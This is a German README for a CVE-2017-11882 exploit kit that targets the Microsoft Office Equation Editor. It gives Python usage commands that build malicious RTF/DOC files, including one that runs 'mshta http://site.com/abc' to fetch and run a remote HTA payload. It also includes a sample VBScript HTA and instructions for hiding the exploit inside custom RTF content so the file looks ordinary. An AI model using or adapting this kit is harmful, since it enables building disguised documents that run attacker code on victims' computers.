
Exploit für CVE-2017-11882 (Microsoft Office Gleichungseditor) mit Python-Skripten zum Erstellen bösartiger RTF/DOC-Dateien und Ausführen beliebiger Befehle oder Shellcode über mshta.
43b Original-Skript von https://github.com/embedi/CVE-2017-11882
109b Original-Skript von https://github.com/unamer/CVE-2017-11882/ (Respekt, der Code von unamer kann jetzt Shellcode ausführen~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Forschung: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch-Analyse: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC Exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta verwenden
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
Die Befehlslänge darf bei 43b 43 Bytes und bei 109b 109 Bytes nicht überschreiten.
Der Ordner example enthält eine .rtf-Datei, die die Schwachstelle CVE-2017-11882 ausnutzt und den Rechner im System ausführt.
Eigentlich habe ich die Methode für benutzerdefinierten Inhalt von anderen Meistern gelernt. Ich habe schon vor langer Zeit ein Skript dazu geschrieben und wollte es eigentlich nicht veröffentlichen. Aber da es bereits von jemandem in der Gruppe veröffentlicht wurde, hatte ich keine Wahl und musste es ebenfalls teilen. Die Methode ist eigentlich einfach: Öffnen Sie die normale RTF-Datei mit einem Texteditor, kopieren Sie den gesamten Inhalt vor {\*\datastore und ersetzen Sie den Inhalt vor {\object\objautlink\objupdate damit. Im Skript ist das also ganz einfach.
Verwendung mit benutzerdefiniertem Inhalt, wählen Sie ein beliebiges Skript:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Der benutzerdefinierte Inhalt befindet sich in input.rtf.
Das neueste 605-Byte-Exploit-Skript von unamer werde ich nicht aktualisieren; wer Interesse hat, kann es selbst ändern.